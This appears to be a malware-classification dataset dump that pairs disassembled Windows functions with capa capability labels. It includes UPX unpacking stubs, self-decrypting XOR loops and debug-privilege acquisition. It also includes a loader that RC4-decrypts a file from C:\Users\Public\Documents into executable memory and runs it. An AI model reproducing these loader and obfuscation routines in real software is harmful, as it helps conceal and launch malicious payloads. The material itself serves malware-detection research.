joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1969890
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1254000]
push edi
or ebp, 0xffffffff
jmp 0x19698b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x19698b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19698a8
mov eax, 1
add ebx, ebx
jne 0x19698cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x19698dc
jne 0x19698fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19698fb
dec eax
add ebx, ebx
jne 0x19698e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x19698c0
add ebx, ebx
jne 0x19698f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x196994d
xor ecx, ecx
sub eax, 3
jb 0x1969913
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1969982
sar eax, 1
mov ebp, eax
jmp 0x196991e
add ebx, ebx
jne 0x196991e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19698ec
inc ecx
add ebx, ebx
jne 0x196992c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19698ec
add ebx, ebx
jne 0x1969939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x196992e
jne 0x196994a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x196992e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x196996c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x196995e
jmp 0x19698ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x196996c
add edi, ecx
jmp 0x19698ae
pop esi
mov edi, esi
mov ecx, 0xe43c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x196998a
cmp byte [edi], 0x60
jne 0x196998a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x196998f
lea edi, [esi + 0x1565000]
mov eax, dword [edi]
or eax, eax
je 0x19699fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x156c29c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x156c3dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x19699bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x156c3e4]
or eax, eax
je 0x19699f8
mov dword [ebx], eax
add ebx, 4
jmp 0x19699d9
call dword [esi + 0x156c3e0]
mov ebp, dword [esi + 0x156c3e8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1969a32
sub esp, 0xffffff80
jmp 0x5bcd14
Function at 0x51120e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.0056a160
pop ecx
test eax, eax
jne 0x511250
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s_s_X.tmp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00417b4d
add esp, 0x18
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x511216
leave
ret
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
leave
ret

Function at 0x571cef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00571b65

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x414acc
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
push 8
call fcn.00448240
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00448240
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 1
push dword [ebp + 8]
call fcn.0040670e
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
je 0x414c51
mov dword [ebp - 0x14], esp
lea eax, [ebp - 4]
push eax
push 0xf01ff
push dword [ebp + 8]
mov eax, 0xb
call fcn.00448252
cmp dword [ebp - 0x14], esp
je 0x414b71
push 6
call fcn.0044824c
add esp, 4
mov dword [ebp - 0x14], esp
push dword [ebp - 8]
push 0x589aa1
push 0
mov eax, 0xc
call fcn.00448252
cmp dword [ebp - 0x14], esp
je 0x414b9d
push 6
call fcn.0044824c
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 2
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x14]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x14]
mov dword [ebx], eax
mov dword [ebp - 0x14], esp
push 0
push 0
push 0
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
mov eax, 0xd
call fcn.00448252
cmp dword [ebp - 0x14], esp
je 0x414c2c
push 6
call fcn.0044824c
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
mov eax, 4
call fcn.00448252
cmp dword [ebp - 0x14], esp
je 0x414c51
push 6
call fcn.0044824c
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x414c59
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.00448246
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00448246
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x10002b10
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012908
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x1001b008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x10018e15
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.10005640
test al, al
jne 0x10002bcd
mov eax, dword [ebp + 0x18]
inc eax
push eax
call fcn.10006308
add esp, 4
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov ebx, eax
mov edx, ebx
cmovae ecx, dword [ebp + 8]
sub edx, ecx
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10002b70
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002b82
sub esi, ecx
inc esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call fcn.10008f60
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10002bfd
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002bf3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c0f
push edx
push ecx
call fcn.10005d92
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10009690
int3
Function at 0x10029cc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcslen]
add esp, 0xc
lea eax, [ebp + eax*2 - 0x100]
dec eax
dec eax
mov cx, word [eax]
cmp cx, 0x5c
je 0x1002a0d
cmp cx, 0x2f
jne 0x1002a13
and word [eax], 0
jmp 0x10029fc
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret 4

Function at 0x1002a2e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push esi
push dword [edi + 4]
mov esi, dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x108]
push eax
call esi
push dword [edi + 4]
call dword [sym.imp.ntdll.dll_wcslen]
lea eax, [ebp + eax*2 - 0x108]
push 0x10013f8
push eax
mov dword [ebp - 8], eax
call esi
add esp, 0x14
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1002a96
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x12
neg eax
sbb eax, eax
jmp 0x1002bc0
push ebx
mov ebx, dword [sym.imp.ntdll.dll_wcscmp]
lea eax, [ebp - 0x32c]
push 0x10013f4
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002b98
lea eax, [ebp - 0x32c]
push 0x10013ec
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002b98
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.ntdll.dll__wcslwr]
push eax
push dword [ebp - 8]
call esi
mov eax, dword [edi + 0xc]
add esp, 0xc
test eax, eax
je 0x1002afa
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ntdll.dll_wcscat]
pop ecx
pop ecx
lea eax, [ebp - 0x32c]
push eax
push dword [edi + 8]
call fcn.01002d95
test eax, eax
je 0x1002b98
cmp dword [edi + 0xc], 0
je 0x1002b73
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
lea edx, [ebp - 0x108]
call fcn.01002907
test eax, eax
je 0x1002b73
test byte [ebp - 0x358], 0x10
je 0x1002b98
lea eax, [ebp - 0x458]
push eax
call fcn.010029cc
test eax, eax
je 0x1002b98
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
mov eax, dword [ebp + 8]
call fcn.01002770
jmp 0x1002b98
lea eax, [ebp - 0x108]
push eax
call fcn.010029cc
test eax, eax
je 0x1002b98
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
call fcn.01002840
mov ebx, eax
test ebx, ebx
jne 0x1002bbd
lea eax, [ebp - 0x358]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ebx, eax
test ebx, ebx
jne 0x1002a97
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1002bbd
mov eax, ebx
pop ebx
pop esi
leave
ret 8
Function at 0x1002fb4
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001400
call fcn.01003150
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1002fef
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002fef
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1003007
cmp eax, 0x20b
je 0x1002ff4
mov dword [ebp - 0x1c], edi
jmp 0x100301b
cmp dword [ecx + 0x84], 0xe
jbe 0x1002fef
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1003015
cmp dword [ecx + 0x74], 0xe
jbe 0x1002fef
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1005560], 0xffffffff
or dword [0x1005564], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10042a0]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x100429c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1005568], eax
call fcn.0100314c
cmp dword [0x1004250], edi
jne 0x1003076
push fcn.0100314c
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100313a
push 0x1001120
push 0x100111c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1004298]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x1004294]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001118
push 0x1001114
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.010015a3
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x10030ed
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1003122
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01003189
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x5ec54f1a
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x27b112ac
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10020140
Capabilities:
Query environment variable

Disassembly:
cmp dword [0x10178e68], 0
jne 0x1002015c
push str.PEDATAHOME
call sub.MSVCR80.dll_getenv
add esp, 4
push eax
call sym.pe.dll_pe_datahome_setdir
mov al, byte [0x10178d68]
neg al
sbb eax, eax
and eax, 0x10178d68
ret
Function at 0x100bcf80
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x80
mov eax, dword [0x10178d58]
xor eax, esp
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
push ebx
mov ebx, dword [sym.imp.MSVCR80.dll_fread]
push ebp
mov ebp, dword [esp + 0xac]
push esi
mov esi, dword [esp + 0x90]
push edi
mov edi, dword [esp + 0x98]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xa8]
push esi
push 1
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0xb8]
lea eax, [esp + 0x50]
push 0x40
push eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], edx
call ebx
add esp, 0x10
cmp eax, 1
je 0x100bd00d
xor eax, eax
jmp 0x100bd0ba
push esi
push 3
lea ecx, [esp + 0x30]
push 4
push ecx
call ebx
add esp, 0x10
cmp eax, 3
jne 0x100bd006
push esi
push 5
lea edx, [esp + 0x3c]
push 4
push edx
call ebx
add esp, 0x10
cmp eax, 5
jne 0x100bd006
mov eax, dword [esp + 0x28]
cdq
xor eax, edx
sub eax, edx
cmp eax, 0xf423f
mov dword [ebp], 0
jle 0x100bd06e
lea eax, [esp + 0x28]
push 3
push eax
call fcn.100d7a00
lea ecx, [esp + 0x3c]
push 5
push ecx
call fcn.100d7a00
add esp, 0x10
mov dword [ebp], 1
mov edx, dword [esp + 0x28]
fld dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x14]
mov dword [edi], edx
mov edx, dword [esp + 0x20]
mov dword [ecx], eax
fstp dword [edx]
mov eax, dword [esp + 0x1c]
fld dword [esp + 0x38]
mov ecx, dword [esp + 0x24]
fstp dword [eax]
fld dword [esp + 0x3c]
mov edx, dword [esp + 0x10]
fstp dword [ecx]
fld dword [esp + 0x40]
fstp dword [edx]
mov eax, dword [edi]
mov edx, dword [esp + 0x18]
lea ecx, [eax*4 + 4]
mov dword [edx], ecx
mov eax, 1
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100db39a
add esp, 0x80
ret

Function at 0x100bd0e0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1000
call fcn.100db4b0
mov ecx, dword [esp + 0x1010]
mov eax, ecx
cdq
push ebx
mov ebx, dword [esp + 0x1008]
and edx, 3
add eax, edx
push esi
mov esi, eax
mov eax, dword [esp + 0x1014]
add eax, 1
imul eax, ecx
mov ecx, dword [esp + 0x1010]
push 0
lea edx, [eax + ecx*4 + 4]
push edx
push ebx
sar esi, 2
call dword [sym.imp.MSVCR80.dll_fseek]
add esp, 0xc
test eax, eax
je 0x100bd13b
pop esi
xor eax, eax
pop ebx
add esp, 0x1000
ret
push edi
push ebx
lea edi, [esi + 2]
push edi
lea eax, [esp + 0x14]
push 4
push eax
call dword [sym.imp.MSVCR80.dll_fread]
add esp, 0x10
cmp eax, edi
pop edi
jne 0x100bd130
cmp dword [esp + 0x101c], 0
fld dword [esp + 8]
mov eax, dword [esp + 0x1020]
fstp dword [eax]
fld dword [esp + 0xc]
fstp dword [eax + 4]
fld dword [esp + esi*4 + 8]
fstp dword [eax + 8]
fld dword [esp + esi*4 + 0xc]
fstp dword [eax + 0xc]
je 0x100bd18d
push 4
push eax
call fcn.100d7a00
add esp, 8
pop esi
mov eax, 4
pop ebx
add esp, 0x1000
ret
Function at 0x100c1970
Capabilities:
Query environment variable

Disassembly:
cmp dword [0x10178f70], 0
jne 0x100c198c
push str.PEOBJEDITHOME
call sub.MSVCR80.dll_getenv
add esp, 4
push eax
call sym.pe.dll_pe_objedithome_setdir
mov eax, dword [0x10178f74]
and eax, dword [esp + 4]
neg eax
sbb eax, eax
and eax, 0x10178e70
ret
Function at 0x100db39a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10178d58]
jne 0x100db3a4
repz ret
jmp fcn.100db853
Function at 0x10017bd0
Capabilities:
Check if file exists
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x82c
mov eax, dword [0x1004b040]
xor eax, esp
mov dword [esp + 0x828], eax
push ebx
push esi
push edi
push 0xd
mov ebx, ecx
lea eax, [esp + 0x250]
pop ecx
push 0x1d4
mov esi, str.C:UsersPublicDocuments
lea edi, [esp + 0x21c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1001fab0
add esp, 0xc
lea eax, [esp + 0x420]
mov edi, 0x104
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10017c54
mov edx, 0x10046e68
mov ecx, 0x1004f600
call fcn.10019051
push eax
call fcn.100191e9
pop ecx
nop
nop
nop
nop
nop
nop
xor eax, eax
jmp 0x10017d3a
lea eax, [esp + 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [esp + 0x218]
push eax
lea eax, [esp + 0x14]
push edi
push eax
call fcn.10023211
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [esp + 0x1c]
add esp, 0xc
push ebx
push eax
call esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10017cc3
push ebx
push ecx
mov edx, 0x10046e94
mov ecx, 0x1004f508
call fcn.10019051
pop ecx
mov ecx, eax
call fcn.10017d4f
mov edx, 0x10046e7c
mov ecx, eax
call fcn.10019051
push eax
call fcn.100191e9
pop ecx
jmp 0x10017d37
lea eax, [esp + 0x420]
push eax
lea eax, [esp + 0x62c]
push edi
push eax
call fcn.10023211
add esp, 0xc
lea eax, [esp + 0x628]
push ebx
push eax
call esi
push 1
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x10017d31
nop
nop
nop
nop
nop
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x10046e9c
mov ecx, 0x1004f600
call fcn.10019051
pop ecx
mov ecx, eax
call fcn.10017e32
push eax
call fcn.100191e9
pop ecx
jmp 0x10017c4d
nop
nop
nop
nop
nop
nop
xor eax, eax
inc eax
mov ecx, dword [esp + 0x834]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001deef
mov esp, ebp
pop ebp
ret

Function at 0x1001a0b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edx, edx
je 0x1001a0d5
push edi
mov edi, dword [ebp + 8]
mov eax, esi
and eax, 0xf
mov al, byte [eax + edi]
xor byte [ecx + esi], al
inc esi
cmp esi, edx
jb 0x1001a0c4
pop edi
pop esi
pop ebp
ret
Function at 0x1001a0d8
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x1004b040]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push esi
push edi
mov eax, edx
mov dword [esp + 0x14], ecx
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0x10]
mov dword [esp + 0x14], edx
mov edx, eax
mov dword [esp + 0x18], eax
call fcn.1001a0b6
add esp, 8
xor esi, esi
mov dword [esp + 0x118], esi
mov eax, esi
mov dword [esp + 0x11c], esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x1001a126
mov ebx, esi
mov edi, esi
mov esi, dword [esp + 0xc]
mov dl, byte [esp + edi + 0x18]
mov eax, edi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [eax + esi]
add eax, ebx
add ecx, eax
movzx ebx, cl
mov al, byte [esp + ebx + 0x18]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebx + 0x18], dl
cmp edi, 0x100
jb 0x1001a13a
mov edi, dword [esp + 0x10]
xor esi, esi
mov ebx, esi
test edi, edi
je 0x1001a1d0
mov ecx, dword [esp + 0x11c]
lea eax, [esi + 1]
movzx esi, al
mov dword [esp + 0x118], esi
movzx eax, byte [esp + esi + 0x18]
add eax, ecx
movzx edx, al
mov dword [esp + 0x11c], edx
mov cl, byte [esp + esi + 0x18]
mov al, byte [esp + edx + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edx + 0x18], cl
mov ecx, dword [esp + 0x11c]
mov esi, dword [esp + 0x118]
mov edx, dword [esp + 0x14]
mov al, byte [esp + ecx + 0x18]
add al, byte [esp + esi + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [edx + ebx], al
inc ebx
cmp ebx, edi
jb 0x1001a179
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001deef
mov esp, ebp
pop ebp
ret
Function at 0x1001a1e5
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push 0x30
mov eax, 0x1003cdf1
call fcn.1001e645
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.C:UsersPublicDocumentsxig.vxg
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], edi
test esi, esi
jne 0x1001a221
mov edx, 0x10046f44
jmp 0x1001a234
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
jne 0x1001a245
mov edx, 0x10046f54
call fcn.1001a378
push eax
call fcn.1001a539
pop ecx
jmp 0x1001a2fd
push 0x40
push 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 1
test edi, edi
jne 0x1001a268
mov edx, 0x10046f64
jmp 0x1001a2df
push 0
lea eax, [ebp - 0x1c]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1001a282
mov edx, 0x10046f74
jmp 0x1001a2df
push ecx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x3c], 0x14537221
push eax
push ecx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x38], 0xb8a79685
push eax
mov edx, ebx
mov dword [ebp - 0x34], 0xfcebdac9
mov ecx, edi
mov dword [ebp - 0x30], 0x302f1e0d
mov dword [ebp - 0x2c], 0xd3274b9f
mov dword [ebp - 0x28], 0x2acd8e51
mov dword [ebp - 0x24], 0x56a13cbf
mov dword [ebp - 0x20], 0x3d9a78e4
call fcn.1001a0d8
add esp, 0x10
push edi
call section..text
test eax, eax
jne 0x1001a311
mov edx, 0x10046f84
call fcn.1001a378
push eax
call fcn.1001a539
pop ecx
test edi, edi
je 0x1001a2fd
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x1001a30d
cmp esi, 0xffffffff
je 0x1001a30d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1001a342
mov edx, 0x10046f98
mov ecx, 0x1004f508
call fcn.10019051
push eax
call fcn.100191e9
mov dword [esp], 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp esi, 0xffffffff
je 0x1001a342
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1001e5f4
ret